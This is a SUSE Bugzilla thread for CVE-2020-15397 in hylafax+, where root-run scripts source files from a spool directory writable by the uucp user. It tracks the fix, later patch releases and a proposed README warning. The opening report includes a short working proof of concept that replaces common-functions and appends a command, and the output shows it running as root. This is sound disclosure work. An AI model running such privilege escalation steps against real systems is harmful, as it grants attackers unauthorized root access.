~~Bug 1173519 - (CVE-2020-15397) VUL-0: CVE-2020-15397: hylafax+: Sourcing of files into binaries from user writeable directories~~

Status: RESOLVED FIXED

Classification: Novell Products
Product: SUSE Security Incidents
Component: Incidents
Version: unspecified
Hardware: Other Other

Priority: P3 - Medium **Severity**: Normal
Target Milestone: ---
Assigned To: Axel Braun
QA Contact: Security Team bot

URL:
Whiteboard:
Keywords:

Depends on:
Blocks:
Show dependency tree / graph

- Create test case
- Clone This Bug

Reported: 2020-06-30 09:51 UTC by Johannes Segitz
Modified: 2020-11-16 13:59 UTC (History)
CC List: 3 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---

Attachments

Add an attachment (proposed patch, testcase, etc.)

Note
You need to log in before you can comment on or make changes to this bug.

Johannes Segitz 2020-06-30 09:51:37 UTC — Description

```
Local privilege escalation from uucp to other users (usually root,
as the files sourcing this file are in /usr/sbin/, at least on openSUSE)

In /usr/sbin/faxcron you source a file that can be changed by an unprivileged user
 45 SPOOL=/var/spool/hylafax                        # HylaFAX spool directory
 ...
 68 cd $SPOOL                       # NB: everything below assumes this
 69 . bin/common-functions

Same issue also in /usr/sbin/recvstats, /usr/sbin/xferfaxstats

POC:
As user uucp:
sh-5.0$ pwd
/var/spool/hylafax/bin
sh-5.0$ ls -lsd .
4 drwxr-xr-x. 3 uucp uucp 4096 Jun  9 15:24 .
sh-5.0$ id
uid=10(uucp) gid=14(uucp) groups=14(uucp),54(lock)
context=unconfined_u:unconfined_r:unconfined_t:s0
sh-5.0$ cp common-functions common-functions2
sh-5.0$ ls -la common-functions
-rwxr-xr-x. 1 root root 25001 Jun 10 09:07 common-functions
sh-5.0$ rm -f common-functions
sh-5.0$ cp common-functions2 common-functions
sh-5.0$ ls -la common-functions
-rwxr-xr-x. 1 uucp uucp 25001 Jun 10 09:08 common-functions
sh-5.0$ echo 'id; echo owned' >> common-functions

As any other user:
/usr/sbin/faxcron
uid=0(root) gid=0(root) groups=0(root)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
owned
Facsimile transmitted since :
...

Same issue with /var/spool/hylafax/etc/setup.cache in
faxaddmodem, faxcron, hylafax, probemodem, recvstats, xferfaxstats, faxsetup

Fixed by the changed permissions in
https://sourceforge.net/p/hylafax/HylaFAX+/2534/
```

Axel Braun 2020-08-11 08:55:51 UTC — Comment 1

```
I have submitted https://build.opensuse.org/request/show/825727 containing hylafax
7.0.3 - this should contain the remaining fixes
@Johannes - please review and close bug if satisfied
```

OBSbugzilla Bot 2020-08-11 09:40:15 UTC — Comment 2

```
This is an autogenerated message for OBS integration:
This bug (1173519) was mentioned in
https://build.opensuse.org/request/show/825731 Factory / hylafax+
https://build.opensuse.org/request/show/825733 15.2 / hylafax+
https://build.opensuse.org/request/show/825734 15.1 / hylafax+
```

Swamp Workflow Management 2020-08-14 22:14:00 UTC — Comment 3

openSUSE-SU-2020:1209-1: An update that fixes two vulnerabilities is now available.

Category: security (moderate)
Bug References: 1173519,1173521
CVE References: CVE-2020-15396,CVE-2020-15397
JIRA References:
Sources used:
openSUSE Leap 15.2 (src):   hylafax+-7.0.3-lp152.3.6.1

Swamp Workflow Management 2020-08-14 22:14:50 UTC Comment 4

openSUSE-SU-2020:1210-1: An update that fixes two vulnerabilities is now available.

Category: security (moderate)
Bug References: 1173519,1173521
CVE References: CVE-2020-15396,CVE-2020-15397
JIRA References:
Sources used:
openSUSE Leap 15.1 (src):   hylafax+-7.0.3-lp151.4.6.1

Swamp Workflow Management 2020-08-18 13:14:55 UTC Comment 5

openSUSE-SU-2020:1231-1: An update that fixes two vulnerabilities is now available.

Category: security (moderate)
Bug References: 1173519,1173521
CVE References: CVE-2020-15396,CVE-2020-15397
JIRA References:
Sources used:
openSUSE Backports SLE-15-SP1 (src):   hylafax+-7.0.3-bp151.6.4.1

Johannes Segitz 2020-09-09 09:09:29 UTC Comment 6

The issue with common-functions is fixed.

The issue with setup.cache is still problematic.
1, The code to ensure backward comparability is problematic. E.g. in
/usr/sbin/faxsetup (but also in other scripts):
```
   780 if [ -e $SPOOL/etc/setup.cache ] && [ ! -e $DIR_LIBDATA/setup.cache ]; then
   781     ln $SPOOL/etc/setup.cache $DIR_LIBDATA/setup.cache
   782 fi
   783 if [ -e $SPOOL/etc/setup.modem ] && [ ! -e $DIR_LIBDATA/setup.modem ]; then
   784     ln $SPOOL/etc/setup.modem $DIR_LIBDATA/setup.modem
   785 fi
```
  so this hard links the potentially attacker controlled file to /etc/hylafax. If
the attacker created this file, then it's linked into /etc/hylafax and can still be
controlled by the attacker.

  It's tricky to solve this without breaking existing installations, which I see as
the bigger problem so I'll skip this
2, Some binaries still use the old file:
```
/var/spool/hylafax/bin/faxrcvd: . etc/setup.cache
/var/spool/hylafax/bin/mkcover: . etc/setup.cache
/var/spool/hylafax/bin/notify:  . etc/setup.cache
/var/spool/hylafax/bin/pcl2fax: . etc/setup.cache
/var/spool/hylafax/bin/pdf2fax.gs:      . etc/setup.cache
/var/spool/hylafax/bin/pollrcvd:        . etc/setup.cache
/var/spool/hylafax/bin/ps2fax.gs:       . etc/setup.cache
/var/spool/hylafax/bin/tiff2fax:        . etc/setup.cache
/var/spool/hylafax/bin/tiff2pdf:        . etc/setup.cache
```

This must be fixed.

Swamp Workflow Management 2020-09-18 16:50:41 UTC Comment 7

openSUSE-SU-2020:1438-1: An update that fixes two vulnerabilities is now available.

Category: security (moderate)
Bug References: 1173519,1173521
CVE References: CVE-2020-15396,CVE-2020-15397
JIRA References:
Sources used:
openSUSE Backports SLE-15-SP2 (src):   hylafax+-7.0.3-bp152.3.4.1

Axel Braun 2020-10-19 08:01:51 UTC Comment 8

(In reply to Johannes Segitz from comment #6)

> It's tricky to solve this without breaking existing installations, which I
> see as the bigger problem so I'll skip this
> 2, Some binaries still use the old file:
> /var/spool/hylafax/bin/faxrcvd: . etc/setup.cache
> /var/spool/hylafax/bin/mkcover: . etc/setup.cache
> /var/spool/hylafax/bin/notify: . etc/setup.cache
> /var/spool/hylafax/bin/pcl2fax: . etc/setup.cache
> /var/spool/hylafax/bin/pdf2fax.gs: . etc/setup.cache
> /var/spool/hylafax/bin/pollrcvd: . etc/setup.cache
> /var/spool/hylafax/bin/ps2fax.gs: . etc/setup.cache
> /var/spool/hylafax/bin/tiff2fax: . etc/setup.cache
> /var/spool/hylafax/bin/tiff2pdf: . etc/setup.cache
>
> This must be fixed.

Anything we can do from packaging? [No]
Or can we close this bug?

Johannes Segitz 2020-10-20 07:13:27 UTC Comment 9

Well we can of course patch this away. But I will not invest more time into this, I
don't see that we will get to a state where this is better and in the end this
isn't software that will be used for much longer I assume

Hans-Peter Jansen 2020-10-20 08:41:21 UTC Comment 10

(In reply to Johannes Segitz from comment #9)

> Well we can of course patch this away. But I will not invest more time into
> this, I don't see that we will get to a state where this is better and in
> the end this isn't software that will be used for much longer I assume

I beg to differ.

As long as we share our planet with bureaucrats and attorneys, fax isn't going to disappear any time soon.

What's mitigating the "dark" side of this package, I cannot imagine a sane reason to run this anywhere but in isolated environments (PBX, etc.). We might want to add a warning to the README.

Thank you for investing your time, Johannes and Axel.

Axel, sorry for leaving you alone with all this mess. I finally tidied up my Asterisk build yesterday, and will hopefully migrate my PBX from * 16.9 to * 17.7 today, with all this pulling behind... I even own a physical fax now (HP 1415 Mufu..), that is already attached to a Cisco SPA112 phone adapter. Symptomatic for this area, it is still dysfunctional.

Axel Braun 2020-11-01 21:33:20 UTC Comment 11

As we cant do much on this one - as I understand Johannes - there is not really anything left.
@Pete - feel free to add to the README.
@Joahnnes - I propose to close the issue

Johannes Segitz 2020-11-13 07:42:24 UTC Comment 12

(In reply to Axel Braun from comment #11)
agreed

Hans-Peter Jansen 2020-11-13 10:01:23 UTC Comment 13

What do you think about (on top of README.SUSE):

GENERAL NOTE
============
Due to history and structure of this package, the server part of HylaFAX+ should only be installed in isolated environments for security reasons, with direct access for admins only. [bsc#1173519]

Johannes Segitz 2020-11-16 13:59:42 UTC Comment 14

(In reply to Hans-Peter Jansen from comment #13)
yes, that is something we can do, although I don't expect many people will read this

---